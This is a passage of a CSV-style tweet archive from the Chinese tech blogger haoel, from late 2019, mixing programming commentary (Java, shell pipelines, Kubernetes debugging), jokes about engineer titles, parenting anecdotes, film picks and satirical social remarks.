这个事，我在amazon里见过好多，1）想像一下，亚麻仓库里放着1000W种商品，它们的库存量价格如何管理？2）亚麻的仓库里的货物不是分类摆放而是随机摆放的，亚麻的仓库里，算法指挥人干事，人成了机器，而机器成了人……,,https://twitter.com/haoel/status/1205127140586352640\n4442,1205065027234873345,2019-12-12 10:01:06+00:00,10,0,4,,@downing889092 @tinyfool 我属龙的，今年活到了十六制的 2B 的年纪,,https://twitter.com/haoel/status/1205065027234873345\n4443,1205061718268760064,2019-12-12 09:47:57+00:00,208,49,7,,\"最后十年\n\n在我20来岁的时候，我觉得青春只剩最后十年了\n在我30来岁的时候，我觉得职场只剩最后十年了\n在我40来岁的时候，我觉得人生只剩最后十年了\n在我50来岁的时候，我觉得精力只剩最后十年了\n在我60来岁的时候，我觉得生命只剩最后十年了\n\n是的，我们人生只有最后十年……\n\n#贩卖焦虑\",,https://twitter.com/haoel/status/1205061718268760064\n4444,1204927406038896640,2019-12-12 00:54:14+00:00,60,6,9,,\"以后我演讲也要用 I have a dream... 的句式开场，然后穿一件拉风的粉红色西装……再配上忧郁的眼神，稀稀的胡渣子，还有一杯 Dry Martini……\n\nhttps://t.co/aOu0SWmQ1A\",\"[TextLink(text='youtube.com/watch?v=16slh2…', url='https://www.youtube.com/watch?v=16slh29iN1g', tcourl='https://t.co/aOu0SWmQ1A', indices=(84, 107))]\",https://twitter.com/haoel/status/1204927406038896640\n4445,1204369148576288768,2019-12-10 11:55:55+00:00,5,0,2,,@kevinzhow 你这椅子，一定会让你站着办公的,,https://twitter.com/haoel/status/1204369148576288768\n4446,1203999318648057857,2019-12-09 11:26:21+00:00,0,0,2,,@Vinci_xu 是啊,,https://twitter.com/haoel/status/1203999318648057857\n4447,1203881118275002368,2019-12-09 03:36:40+00:00,72,10,12,,不是因为这几个女孩子时尚，点杯咖啡都要嘻哈一下，而是昆明这两天天气太冷，他们用“抖”来御寒…… https://t.co/L7YBh9mFGt,,https://twitter.com/haoel/status/1203881118275002368\n4448,1202870379573723136,2019-12-06 08:40:21+00:00,0,0,1,,@shell909090 祝一些安好,,https://twitter.com/haoel/status/1202870379573723136\n4449,1202869805788741632,2019-12-06 08:38:04+00:00,0,0,1,,@Rainche01342177 有的，直接关闭互联网！,,https://twitter.com/haoel/status/1202869805788741632\n4450,1202750212009103360,2019-12-06 00:42:51+00:00,476,153,22,,\"负面新闻公关五步法：\n\n1.【删贴】通过威胁利诱让事主自己删贴，或者让相关网站删\n\n2.【洗地】通过五毛、水军、大V制造不同言论，模糊逻辑，发动人民斗人民\n\n3.【甩锅】利用民族爱国主义甩锅美帝西方反华势力\n\n4.【抹黑】配合第二步，想尽一切方式抹黑当事人\n\n5.【转移】制造其他热点新闻转移视线\",,https://twitter.com/haoel/status/1202750212009103360\n4451,1202420957811359744,2019-12-05 02:54:30+00:00,0,0,0,,@fajeshwangwang 嗯，从小到大的最爱……,,https://twitter.com/haoel/status/1202420957811359744\n4452,1202409812413145089,2019-12-05 02:10:13+00:00,76,7,16,,带货了，云南特产，下饭主力，油腐乳和干巴菌韭菜花……（某东有卖） https://t.co/byBZtMcgBE,,https://twitter.com/haoel/status/1202409812413145089\n4453,1202217893808599041,2019-12-04 13:27:36+00:00,424,109,35,,我能帮华为的，就到这了…… https://t.co/rTEGjYhJ2K,,https://twitter.com/haoel/status/1202217893808599041\n4454,1202203970405449731,2019-12-04 12:32:17+00:00,7,1,2,,@terrywang @yjz0065 都花65刀了应该买个o'reilly的会员,,https://twitter.com/haoel/status/1202203970405449731\n4455,1202089731523305473,2019-12-04 04:58:20+00:00,41,16,9,,因为Paul Graham 点赞了，所以我看到了。嗯，我国的法制不说了。我比较好奇的是，老外看到字幕里的“Uncle Police”会怎么想？想想都很有喜感……,,https://twitter.com/haoel/status/1202089731523305473\n4456,1201876457074679808,2019-12-03 14:50:51+00:00,20,0,1,,@laisky_sh https://t.co/cQo1jqTXaG,,https://twitter.com/haoel/status/1201876457074679808\n4457,1201876048847294464,2019-12-03 14:49:14+00:00,0,0,0,,@Miyamotorola 你这头像！,,https://twitter.com/haoel/status/1201876048847294464\n4458,1201868776754438144,2019-12-03 14:20:20+00:00,178,20,30,,不知道为什么有些人说 Java 在走下坡路，我的blog上还有人留说Java已死，这些想法是怎么来的？虽然Java让人觉得不cool，而且还啰嗦，但是Java还是企业级应用，拥有世界一的生态圈，让程序员把注意力放在架构和业务上，再加上 Spring Cloud 把持，只看到它越来越猛……,,https://twitter.com/haoel/status/1201868776754438144\n4459,1201782057472409600,2019-12-03 08:35:45+00:00,1,0,2,,@ayouwei 你看西游记的时候是不是特别纠结,,https://twitter.com/haoel/status/1201782057472409600\n4460,1201779949801107456,2019-12-03 08:27:22+00:00,37,8,4,,细数一下我这个70后的几次裂缝……OMG，数不清了…… shit!,,https://twitter.com/haoel/status/1201779949801107456\n4461,1201513357641011200,2019-12-02 14:48:02+00:00,0,0,1,,@samsara9527 是啊,,https://twitter.com/haoel/status/1201513357641011200\n4462,1201510017318260736,2019-12-02 14:34:45+00:00,5,0,1,,@la0x11 全中国目前最顶级的可能也只会到Principal,,https://twitter.com/haoel/status/1201510017318260736\n4463,1201507698841276418,2019-12-02 14:25:32+00:00,399,132,8,,\"有些人搞不清楚外国软件公司软件工程师级别是什么含义，我翻译如下：\n\n-  Regular 童子\n-  Senior 道长 \n-  Staff 真人\n-  Principal 上仙\n-  Distinguish天神\n-  Fellow 佛祖 https://t.co/A44yeYdWy2\",,https://twitter.com/haoel/status/1201507698841276418\n4464,1201482034213838849,2019-12-02 12:43:34+00:00,565,87,18,,我问孩子，作业还剩多少？孩子回，还有30%！我问，你们学百分数了？孩子说，没学。于是，我问了孩子几个百分比的估算问题，确定孩子是懂的。我很高兴，你怎么这么历害，连分数都没学就知道百分比了！我觉的我找到了孩子的天赋……此时，孩子缓缓说道，这有什么难的，天天都在看iPad上的电量够不够……,,https://twitter.com/haoel/status/1201482034213838849\n4465,1201384860943732737,2019-12-02 06:17:26+00:00,1,0,0,,@WInnieXijinping 我可以跟多个人聊天，而不用新建个群…… 嘿嘿嘿,,https://twitter.com/haoel/status/1201384860943732737\n4466,1201379940752445440,2019-12-02 05:57:53+00:00,137,25,20,,发现在好些技术圈的微信群里都有很多相同的人。所以，如果我要跟其中一个人聊天，我可以跟他在第一个群里聊第一句话，然后到第二个群里聊第二句话……到第N个群里聊第N句话，或是把一句话拆成N份，分别发到这N个群中。这样一来，就可以实现分布式聊天，而只有跟我们在同样群的人才知道我们聊了什么……,,https://twitter.com/haoel/status/1201379940752445440\n4467,1201169070055292928,2019-12-01 15:59:57+00:00,349,89,35,,好些技术人员的剧情是这样的：基础知识缺失 =&gt;  解决问题的能力有限 =&gt; 经验的缺失 =&gt; 不能到更好的平台 =&gt; 认知和视野缺失 =&gt;  达到天花板 =&gt; 人生被困住 =&gt;  迷茫无助 =&gt; 焦虑浮躁 =&gt; 失去目标 ……,,https://twitter.com/haoel/status/1201169070055292928\n4468,1201091075827306496,2019-12-01 10:50:02+00:00,1,0,0,,@Calabash_1 谢谢！我的文章的错别字和病句越来越多，见谅,,https://twitter.com/haoel/status/1201091075827306496\n4469,1201054950119243777,2019-12-01 08:26:29+00:00,0,0,1,,@elephi 美国南部口音，007花了几个月专门练出来的（这里有梗的）,,https://twitter.com/haoel/status/1201054950119243777\n4470,1201050291417649155,2019-12-01 08:07:58+00:00,0,0,1,,@ga6840 我20多年的同学有五六十个人，我只劝一个，你觉的我会会劝鱼上树么？呵呵,,https://twitter.com/haoel/status/1201050291417649155\n4471,1201000722608934912,2019-12-01 04:51:00+00:00,354,114,23,,酷壳 https://t.co/IuyntCmVpT - 别让自己“墙”了自己: 这一两周与几个朋友聊天，有年轻的90后，也有大叔级的70后，这些人在我看来都是很有能力的人，但是一些喜好过于强烈，让我… https://t.co/0vDEEqskfv,\"[TextLink(text='Coolshell.cn', url='http://Coolshell.cn', tcourl='https://t.co/IuyntCmVpT', indices=(3, 26)), TextLink(text='goo.gl/fb/WTqewT', url='https://goo.gl/fb/WTqewT', tcourl='https://t.co/0vDEEqskfv', indices=(102, 125))]\",https://twitter.com/haoel/status/1201000722608934912\n4472,1200976126153150465,2019-12-01 03:13:16+00:00,148,48,1,,开放下载了……,,https://twitter.com/haoel/status/1200976126153150465\n4473,1200713825273565189,2019-11-30 09:50:58+00:00,1,0,0,,@bigzhu 哈哈。都是角,,https://twitter.com/haoel/status/1200713825273565189\n4474,1200703498305753089,2019-11-30 09:09:56+00:00,18,2,2,,嗯，片名又叫《007与银翼杀手伴侣大战美国队长之真实谎言》,,https://twitter.com/haoel/status/1200703498305753089\n4475,1200693592680910848,2019-11-30 08:30:34+00:00,102,23,10,,利刃出鞘 Knives Out，Old School的探案悬疑推理片。剧情、悬念、拍摄手法、人物表现、隐喻、幽默、人性、家庭伦理、感动，一应俱全。套中套，局中局，玩的真的好……这么多年来最佳侦探电影！感觉这电影，应该会成为经典侦探片……强烈推荐！！ https://t.co/K7LHvdxF1f,,https://twitter.com/haoel/status/1200693592680910848\n4476,1200400578339147780,2019-11-29 13:06:14+00:00,8,1,0,,@mranti 说太具体，艺术性就垮掉了😂😂,,https://twitter.com/haoel/status/1200400578339147780\n4477,1200397669153161216,2019-11-29 12:54:41+00:00,203,33,33,,#剧本 未来的世界，我们每人都必须要用一个政府发的手机，收集每个人的数据，且每天都要用手机的人脸识别进行微笑打卡，手机每天推送的文章都会有是否已读标识，如果没读，就会打电话催你，读了就要回复写心得，Al会自动判分，一天要挣够积分，挣不够分就是价值观有问题，要去补习班参加集体学习……,,https://twitter.com/haoel/status/1200397669153161216\n4478,1200262074108010496,2019-11-29 03:55:52+00:00,1,0,0,,@ghosTM55 我是看Elon 点赞了才看到的……,,https://twitter.com/haoel/status/1200262074108010496\n4479,1200261489291976704,2019-11-29 03:53:33+00:00,25,3,2,,哈哈，笑死……（Elon也点赞了）,,https://twitter.com/haoel/status/1200261489291976704\n4480,1200092831546691585,2019-11-28 16:43:22+00:00,2,0,1,,@kevinzhow @Bonjour_Ar 我不厚道地笑出声来了……,,https://twitter.com/haoel/status/1200092831546691585\n4481,1200090273365118981,2019-11-28 16:33:12+00:00,9,0,1,,@Dispomanfaa 待从头、收拾旧山河，朝天阙。,,https://twitter.com/haoel/status/1200090273365118981\n4482,1200063286269497344,2019-11-28 14:45:58+00:00,147,26,20,,教孩子做小学数学题，发现在没有代数解方程的“去分母”、“去括号”、“移项”、“合并同类项”的手段下，有些题还是真是有点棘手。同理，在微积分这种“核武器”面前，其它数学解题方法都成了渣。所以，如果要比别人牛逼，就一定要学会更为高级的解题的方法，而这些高级方法所要的知识通常来说都是很难啃的……,,https://twitter.com/haoel/status/1200063286269497344\n4483,1199947481229869058,2019-11-28 07:05:48+00:00,0,0,0,,@Igotit 激动倒是没有，有几个特例也很正常，又不是母语，我在学英语的时候，也经常拼错，然而，这又怎么样呢？很多新手在一开始都会犯很多错误，你不也一样吗？我说的不是真实案例吗~,,https://twitter.com/haoel/status/1199947481229869058\n4484,1199944259098427393,2019-11-28 06:52:59+00:00,2,0,1,,@Igotit 你在命令行上输命令时，你在写代码时，你能做到在提交前没有typo吗？HTTP协议上有一个typo，你知道么？Unix的发明者Ken Thompson一个系统调用的单词少写了一个e，然后一直沿用下来了，你知道吗？你一定不知道……因为你思维方式太简单……,,https://twitter.com/haoel/status/1199944259098427393\n4485,1199901414329212928,2019-11-28 04:02:44+00:00,510,218,8,,\"推荐一系列聚合站点：\n\n-  https://t.co/4iqMKTMDOp   程序员频道\n- https://t.co/EZQt4Awp0B  科技频道\n-  https://t.co/DaNwSF3cgb   科学频道\n - https://t.co/DHBYBXlYI9   财经频道\n\n支持关键词过滤，如： https://t.co/lA90GHL43R   或  https://t.co/tZjiyhxkCe\",\"[TextLink(text='devurls.com', url='http://devurls.com/', tcourl='https://t.co/4iqMKTMDOp', indices=(15, 38)), TextLink(text='techurls.com', url='http://techurls.com/', tcourl='https://t.co/EZQt4Awp0B', indices=(49, 72)), TextLink(text='sciurls.com', url='http://sciurls.com/', tcourl='https://t.co/DaNwSF3cgb', indices=(82, 105)), TextLink(text='finurls.com', url='https://finurls.com/', tcourl='https://t.co/DHBYBXlYI9', indices=(116, 139)), TextLink(text='techurls.com/?q=apple', url='http://techurls.com/?q=apple', tcourl='https://t.co/lA90GHL43R', indices=(159, 182)), TextLink(text='devurls.com/?javascript', url='http://devurls.com/?javascript', tcourl='https://t.co/tZjiyhxkCe', indices=(188, 211))]\",https://twitter.com/haoel/status/1199901414329212928\n4486,1199831551367729152,2019-11-27 23:25:08+00:00,6,0,1,,@nishuang @tinyfool Xcode被黑的最惨的一次……😂😂,,https://twitter.com/haoel/status/1199831551367729152\n4487,1199828316762411008,2019-11-27 23:12:17+00:00,116,16,20,,我在App Store里面的评价，被人回家复了，我不厚道地笑了，调皮捣蛋的生活就是这么朴实无华且枯燥…… https://t.co/2AgEcoZHRZ,,https://twitter.com/haoel/status/1199828316762411008\n4488,1199664169538056193,2019-11-27 12:20:01+00:00,13,3,2,,这产品听上去就很帅啊……,,https://twitter.com/haoel/status/1199664169538056193\n4489,1199628801375789057,2019-11-27 09:59:28+00:00,51,17,1,,《重构》的 Javascript  实践，https://t.co/PFeLRs4p1c,\"[TextLink(text='github.com/ittus/Refactor…', url='https://github.com/ittus/Refactoring-summary-2nd-javascript', tcourl='https://t.co/PFeLRs4p1c', indices=(21, 44))]\",https://twitter.com/haoel/status/1199628801375789057\n4490,1199582222975553537,2019-11-27 06:54:23+00:00,15,5,0,,@Jemmy__Wong 数学逻辑学是很枯燥的。推荐本有趣的《清醒思考的艺术》,,https://twitter.com/haoel/status/1199582222975553537\n4491,1199577452915216386,2019-11-27 06:35:26+00:00,96,17,10,,都在说独立思考，其实，独立思考并不是乱想瞎想，而是要遵循一定的思考原理，比如：逻辑学。简单来说要证明事物间的关联性，逻辑给我们提供了“充分条件”，“必要条件”，“充要条件”的定义，也有“因果条件”推论的定义，所以，如果懂逻辑方法，就会知道“努力就会成功”、“失败是成功之母”的荒谬之处了……,,https://twitter.com/haoel/status/1199577452915216386\n4492,1199574591946969088,2019-11-27 06:24:04+00:00,0,1,1,,@oldj @vparano 我还找你确认了一下，是否有因果关系，你还说有因果关系，所以，我就只能喷了，不过我喷的时候我都会找一些引用……所以，我也建议你以后“喷简历”的时候也有一些引用来支持你的观点……这样就更好了,,https://twitter.com/haoel/status/1199574591946969088\n4493,1199566807629062144,2019-11-27 05:53:08+00:00,3,0,1,,@oldj @vparano 原贴中80%是我吐槽的地方。我的每一篇文章，错别字病句都是一堆一堆的，很多人技术好的人都不会太花时间写简历。用单一标准划分人群的方式太不科学……,,https://twitter.com/haoel/status/1199566807629062144\n4494,1199565694334930944,2019-11-27 05:48:43+00:00,0,0,0,,@dallaslu 这个推上有三篇文章……,,https://twitter.com/haoel/status/1199565694334930944\n4495,1199519481002778624,2019-11-27 02:45:04+00:00,2,0,1,,@vparano @oldj 你又混淆了typo和满纸都是错误这两个事……,,https://twitter.com/haoel/status/1199519481002778624\n4496,1199502048342863872,2019-11-27 01:35:48+00:00,1,0,2,,@voiddout 因为，我留言确认了！你的逻辑思维就是不行,,https://twitter.com/haoel/status/1199502048342863872\n4497,1199479556391895040,2019-11-27 00:06:26+00:00,3,1,1,,@oldj 我很想看80%的例子，而不是一个特例,,https://twitter.com/haoel/status/1199479556391895040\n4498,1199479057106137088,2019-11-27 00:04:27+00:00,0,0,2,,@vparano @oldj 这个推里有几个链接，好好读一下,,https://twitter.com/haoel/status/1199479057106137088\n4499,1199328402366271488,2019-11-26 14:05:48+00:00,123,34,25,,推上有人用简历中的错别字来刷掉应聘人，他们把“简历中有错别字或拼写错误” 与 “候选人能力不行” 这两个事划了因果关系，让我感到他们的逻辑思维能力有限。不作更多解释了，下面的几篇文章送给这些人 https://t.co/N8RPz6xgZ2，https://t.co/inQVwPFpCx，https://t.co/QXobSni4oG,\"[TextLink(text='bbc.com/news/business-…', url='https://www.bbc.com/news/business-29529578', tcourl='https://t.co/N8RPz6xgZ2', indices=(97, 120)), TextLink(text='inc.com/suzanne-lucas/…', url='https://www.inc.com/suzanne-lucas/why-you-should-hire-people-who-make-typos.html', tcourl='https://t.co/inQVwPFpCx', indices=(121, 144)), TextLink(text='fastcompany.com/40536077/do-re…', url='https://www.fastcompany.com/40536077/do-resume-typos-matter-heres-what-hundreds-of-linkedin-users-say', tcourl='https://t.co/QXobSni4oG', indices=(145, 168))]\",https://twitter.com/haoel/status/1199328402366271488\n4500,1199324968309276672,2019-11-26 13:52:09+00:00,2,0,2,,@oldj 我可以找出一堆世界顶级的程序员提交的代码中都有typo fix…… 逻辑总是很多人的硬伤……,,https://twitter.com/haoel/status/1199324968309276672\n4501,1199315390699991042,2019-11-26 13:14:06+00:00,0,0,0,,@ed4win 好吧,,https://twitter.com/haoel/status/1199315390699991042\n4502,1199304911432769537,2019-11-26 12:32:27+00:00,13,1,23,,今天收到平安保险的电话，营销我把车险续了，我说，还差3-4个月才到期的车险，现在就要续啊，那边说，早点续有优惠……保险公司年底的业绩压力有这么大么？,,https://twitter.com/haoel/status/1199304911432769537\n4503,1199275679948234753,2019-11-26 10:36:18+00:00,63,19,7,,全球的IPv4地址已经分配完了，在2012的时候，全世界只剩下一个/8段的IP，这些人为了不想下岗[狗头]，硬是上最后一个/8段（1600万个地址）坚持了7年，这说明在未来，IPv4在没有地址的情况下，靠NAT，还能保持长久的生命力继续坚持下去！[捂脸]  https://t.co/jWMt0ESFH4,\"[TextLink(text='ripe.net/publications/n…', url='https://www.ripe.net/publications/news/about-ripe-ncc-and-ripe/the-ripe-ncc-has-run-out-of-ipv4-addresses', tcourl='https://t.co/jWMt0ESFH4', indices=(129, 152))]\",https://twitter.com/haoel/status/1199275679948234753\n4504,1199234896381693952,2019-11-26 07:54:14+00:00,12,0,4,,@oldj 「简历中没有错别字，英文名词没有拼写错误」与「候选人能不行」有因果条件吗？,,https://twitter.com/haoel/status/1199234896381693952\n4505,1199216141781979136,2019-11-26 06:39:43+00:00,12,0,3,,@amdati @likev https://t.co/JvCzeTwSc5,,https://twitter.com/haoel/status/1199216141781979136\n4506,1199170098918916096,2019-11-26 03:36:45+00:00,784,267,10,,\"这篇K8s网丢包调查的文章真是篇Debug雄文，强烈推荐，导读如下：\n\n1）如何分段查找网络丢包问题【基础技能】\n2）内核软中断、NAPI和ksoftirqd进程【高级知识】\n3）调试诊断内核。【超高级技能】\n4）如何调试相关进程【高级技能】\n5）结论：把Linux 内核升级到  4.19 +以上 \n\nhttps://t.co/K8YHD9iRqa\",\"[TextLink(text='github.blog/2019-11-21-deb…', url='https://github.blog/2019-11-21-debugging-network-stalls-on-kubernetes/', tcourl='https://t.co/K8YHD9iRqa', indices=(152, 175))]\",https://twitter.com/haoel/status/1199170098918916096\n4507,1199153564846718976,2019-11-26 02:31:03+00:00,0,0,2,,@likev “审查”这个词太上纲上线……,,https://twitter.com/haoel/status/1199153564846718976\n4508,1198989817201119232,2019-11-25 15:40:23+00:00,49,8,19,,来我的程序员资料分享tg群，谈政治，踢！做广告，踢！开车，踢！骂人，踢！伸手、盗版、破解，踢！😂😂😂😂,,https://twitter.com/haoel/status/1198989817201119232\n4509,1198618889367613441,2019-11-24 15:06:27+00:00,57,14,11,,微博不但无效信息多，无效沟通也很多，而且是政治霸凌和网络霸凌的地方……我也不是很爱去了……,,https://twitter.com/haoel/status/1198618889367613441\n4510,1198534873171951617,2019-11-24 09:32:36+00:00,0,0,1,,@huihui9527 是啊，把老外玩得多6,,https://twitter.com/haoel/status/1198534873171951617\n4511,1198531183262359554,2019-11-24 09:17:56+00:00,31,9,7,,美亚畅销精选品牌Tree New Bee，4K多的评论，好评如潮，中国卖家“树新风”厉害了…… https://t.co/Oiwh2lnZmq https://t.co/DKTOBaClMt,\"[TextLink(text='amazon.com/Tree-New-Bee-C…', url='https://www.amazon.com/Tree-New-Bee-Cooling-15-6/dp/B016PMVM7Q', tcourl='https://t.co/Oiwh2lnZmq', indices=(48, 71))]\",https://twitter.com/haoel/status/1198531183262359554\n4512,1198418357562642432,2019-11-24 01:49:36+00:00,468,177,0,,一个非常不错的给程序员的视频技术教程，读了一半，前来推荐！https://t.co/63EmWOSCgE,\"[TextLink(text='github.com/leandromoreira…', url='https://github.com/leandromoreira/digital_video_introduction/blob/master/README-cn.md', tcourl='https://t.co/63EmWOSCgE', indices=(29, 52))]\",https://twitter.com/haoel/status/1198418357562642432\n4513,1198416422453399553,2019-11-24 01:41:55+00:00,683,216,6,,这开源项目牛逼了 ，听个5秒钟就可以模仿发音讲任意的话，虽然模仿出来的有机械的味道，但也很不错了…… Real-Time-Voice-Cloning https://t.co/MtIx2rVeo9,\"[TextLink(text='github.com/CorentinJ/Real…', url='https://github.com/CorentinJ/Real-Time-Voice-Cloning/blob/master/README.md', tcourl='https://t.co/MtIx2rVeo9', indices=(75, 98))]\",https://twitter.com/haoel/status/1198416422453399553\n4514,1198410264711839744,2019-11-24 01:17:27+00:00,2,0,5,,@tinyfool 到我的tg群里安利你的这个app吧,,https://twitter.com/haoel/status/1198410264711839744\n4515,1198405656912334848,2019-11-24 00:59:08+00:00,99,29,1,,开脑洞了，原来PowerPoint 有这么些奇技淫巧…… Great Impractical Ideas in Computer Science: PowerPoint Programming https://t.co/8eJqAF3Z0M,\"[TextLink(text='youtu.be/_3loq22TxSc', url='https://youtu.be/_3loq22TxSc', tcourl='https://t.co/8eJqAF3Z0M', indices=(97, 120))]\",https://twitter.com/haoel/status/1198405656912334848\n4516,1198129447573942272,2019-11-23 06:41:35+00:00,1,0,1,,@nishuang @kevinzhow 原话：“我喜欢的不仅是它的外观，而是它的超前意识”,,https://twitter.com/haoel/status/1198129447573942272\n4517,1198106024546168832,2019-11-23 05:08:30+00:00,0,0,1,,@nishuang @kevinzhow 微信还是Telegram，我给你们两拉群，她也在美国，我是好事者……,,https://twitter.com/haoel/status/1198106024546168832\n4518,1198032572913045504,2019-11-23 00:16:38+00:00,85,9,14,,今天，让我产生深思的一句话是 @kevinzhow 说的 ：“女孩子看不上眼的，其本上不是什么好产品”……越想越有道理……,,https://twitter.com/haoel/status/1198032572913045504\n4519,1197844285816590337,2019-11-22 11:48:27+00:00,1,0,0,,@sofish 再试一下,,https://twitter.com/haoel/status/1197844285816590337\n4520,1197844114785439744,2019-11-22 11:47:46+00:00,0,0,3,,@urcyanide 再试一下,,https://twitter.com/haoel/status/1197844114785439744\n4521,1197838547614461952,2019-11-22 11:25:39+00:00,2,0,1,,@urcyanide 你的ID是？,,https://twitter.com/haoel/status/1197838547614461952\n4522,1197836345764237312,2019-11-22 11:16:54+00:00,705,135,113,,建个Telegram 的程序员资源分享群，欢迎入群：https://t.co/QCkvQEUOkw,\"[TextLink(text='t.me/joinchat/FwAZp…', url='https://t.me/joinchat/FwAZpxdwmTHP2W1sPydPAQ', tcourl='https://t.co/QCkvQEUOkw', indices=(26, 49))]\",https://twitter.com/haoel/status/1197836345764237312\n4523,1197169995249139712,2019-11-20 15:09:03+00:00,234,21,34,,联通宽带快到期了，今天，工作人员打电话给我说要换光猫，说老的200兆的不能用了，要换千兆的，免费换，我说中兴的还是华为的，师傅说可以选，我说，那我还是选中兴的吧，毕竟有FBI的人盯着，能让人放心一点吧……,,https://twitter.com/haoel/status/1197169995249139712\n4524,1196294110480457728,2019-11-18 05:08:36+00:00,1,0,0,,@Barret_China 我有个大学同学，还有亲戚在那边，我经常跟他们交流，但是，你都基本看不到我对那边的评论，因为，即便是这样，我也无法完全知道那边发生了什么……,,https://twitter.com/haoel/status/1196294110480457728\n4525,1196273319210668032,2019-11-18 03:45:59+00:00,1,0,1,,@Barret_China 不好意思，取关了（因为，感觉你没有能力获得一手信息）,,https://twitter.com/haoel/status/1196273319210668032\n4526,1195921137789628417,2019-11-17 04:26:33+00:00,192,69,7,,如果把信息源头屏避掉，并把一些投影角度删掉，就可以得到一个简单的“非零即一”或是“非黑即白”结论，通常来说，这也符合头脑简单的人的认知能力……这些人简称为“大众”…… https://t.co/gg7sQBcQ94,,https://twitter.com/haoel/status/1195921137789628417\n4527,1195610763450126338,2019-11-16 07:53:14+00:00,61,10,12,,我挺喜欢以前的“电子邮件社交”的年代（主要流行于外企间），通过邮件的转发进行各种信息共享，比如：非典时，天天收各种非典疫情的电子邮件，然而新闻和网络上依然在封锁消息，并各种辟谣；再比如，05年反日游行，也是用电子邮件约在中关村海龙大厦前……电子邮件的信息也相对结构化，也不好封锁……,,https://twitter.com/haoel/status/1195610763450126338\n4528,1195358648811315200,2019-11-15 15:11:25+00:00,27,0,1,,我曾经有部经典的Razor，所以看到它又复活了，心里有点儿激动，因为命中了我这个中年男人的怀旧特质，然而，我却不会买……因为有些东西，是再也回不去了……https://t.co/2HXj4JB8wI,\"[TextLink(text='youtu.be/IxSTFbL9ziw', url='https://youtu.be/IxSTFbL9ziw', tcourl='https://t.co/2HXj4JB8wI', indices=(76, 99))]\",https://twitter.com/haoel/status/1195358648811315200\n4529,1195213454631559169,2019-11-15 05:34:28+00:00,1,0,0,,@nishuang 弒父情节……😂🤣😅,,https://twitter.com/haoel/status/1195213454631559169\n4530,1195195976249556992,2019-11-15 04:25:01+00:00,0,0,0,,@nullAndEmpty 控制系统是高级语句的菜,,https://twitter.com/haoel/status/1195195976249556992\n4531,1195193980872298497,2019-11-15 04:17:05+00:00,306,44,31,,我只要一说shell不可替代，就一定会有人跳出来张口就说为什么不用python？统一回复一下，shell是与操作系统交互，程序语主要是算法和数据处理，所以，在面对统计TCP连接状态这样的需求时，你就知道shell的命令编排有多强了，netstat  -nat  |  awk  '{print  $6}'  |  sort  |  uniq  -c  |  sort  -n,,https://twitter.com/haoel/status/1195193980872298497\n4532,1195052953419169792,2019-11-14 18:56:41+00:00,1,0,0,,@kevinzhow @Lord_WayneY @iyoudang 你们在版聊时能不能不要at 我？,,https://twitter.com/haoel/status/1195052953419169792\n4533,1194959362508435456,2019-11-14 12:44:47+00:00,1,0,0,,@kevinzhow @elephi 我作为你的流量渠道，给我30%的分润！,,https://twitter.com/haoel/status/1194959362508435456\n4534,1194911860677578756,2019-11-14 09:36:02+00:00,3,0,1,,@kevinzhow 结婚了，在家里做家务这样的地位，就算很幸福，也别这么招摇……,,https://twitter.com/haoel/status/1194911860677578756\n4535,1194910059282804737,2019-11-14 09:28:53+00:00,54,6,15,,我交到这样的朋友（@kevinzhow ）也是醉了…… https://t.co/oyN9Hl0a9z,,https://twitter.com/haoel/status/1194910059282804737\n4536,1194654398032445440,2019-11-13 16:32:58+00:00,34,3,13,,ESC键又回来了…… https://t.co/rsdqAKKt8C,,https://twitter.com/haoel/status/1194654398032445440\n4537,1194645960225443841,2019-11-13 15:59:27+00:00,0,0,1,,@Gotnix 我这可是讽刺啊……,,https://twitter.com/haoel/status/1194645960225443841\n4538,1194645361295364096,2019-11-13 15:57:04+00:00,389,87,45,,今天打开微信朋友圈，结果看到一篇《香港问题和世界真相》这篇文章，微信公众号真是人才济济啊，这些不知名的人可以随意驾驭各种宏大的话题，那些社会科学工作者研究这个复杂的世界了研究了几代人，真不如多订阅几个微信公众号，什么世界真相、中美问题、巴以局势…统统都能迎刃而解，只需订阅公众号…,,https://twitter.com/haoel/status/1194645361295364096\n4539,1194446949698568192,2019-11-13 02:48:39+00:00,0,0,0,,@killwing right,,https://twitter.com/haoel/status/1194446949698568192\n4540,1194428845786427392,2019-11-13 01:36:42+00:00,61,11,9,,现在的电影做的越来越像游戏，像John Wick，漫威，终结者，感觉就是在看别人玩游戏……而现在的游戏则越来越像电影，包括新版的古墓丽影、荒野大镖客、神战，在Youtube上看到这个《Death Stranding》的艺术气息非常之浓 ，不管是场景还是想像力都是上乘的电影艺术 https://t.co/JWIo7Kxn28,\"[TextLink(text='youtu.be/KevFGaS298s', url='https://youtu.be/KevFGaS298s', tcourl='https://t.co/JWIo7Kxn28', indices=(139, 162))]\",https://twitter.com/haoel/status/1194428845786427392\n4541,1194038780287537152,2019-11-11 23:46:44+00:00,38,1,2,,@tinyfool 富则为富不仁，穷则穷凶极恶……,,https://twitter.com/haoel/status/1194038780287537152\n4542,1193526003399720960,2019-11-10 13:49:08+00:00,43,2,5,,今天有则新闻让我感觉到了有钱人那份枯燥乏味的生活……嗯，就是那种每天都在用台可以在鹤岗买套房的电脑生活工作，朴实无华且枯燥……,,https://twitter.com/haoel/status/1193526003399720960\n4543,1193521034122522625,2019-11-10 13:29:23+00:00,0,0,0,,@wojingya Me too,,https://twitter.com/haoel/status/1193521034122522625\n4544,1192772789733691392,2019-11-08 11:56:08+00:00,1,0,0,,@Chloe1987A 用少数案例为日常多数案例作借口🤟🏻,,https://twitter.com/haoel/status/1192772789733691392\n4545,1192627880146042881,2019-11-08 02:20:19+00:00,20,1,7,,@sofish Java社区牛，有Spring框架，大厂主流语言，所以学的人多，门槛底…… 另外，用node写后端还是弃用吧，还不如PHP,,https://twitter.com/haoel/status/1192627880146042881\n4546,1192612678428028928,2019-11-08 01:19:54+00:00,4,0,0,,@treenew1 你这回复，我要笑死了……,,https://twitter.com/haoel/status/1192612678428028928\n4547,1192481833981603840,2019-11-07 16:39:59+00:00,158,26,10,,5）JS全栈工程师（只掌握JS一门语言，有百年以上足够的耐心等待JS成为所有软件的语言）；6）三句话产品经理（能够下面用三句话就能让开发把产品实现出来，比如：你我们的竞对有！客户就是要！告诉我能不能做？）……,,https://twitter.com/haoel/status/1192481833981603840\n4548,1192481831670517761,2019-11-07 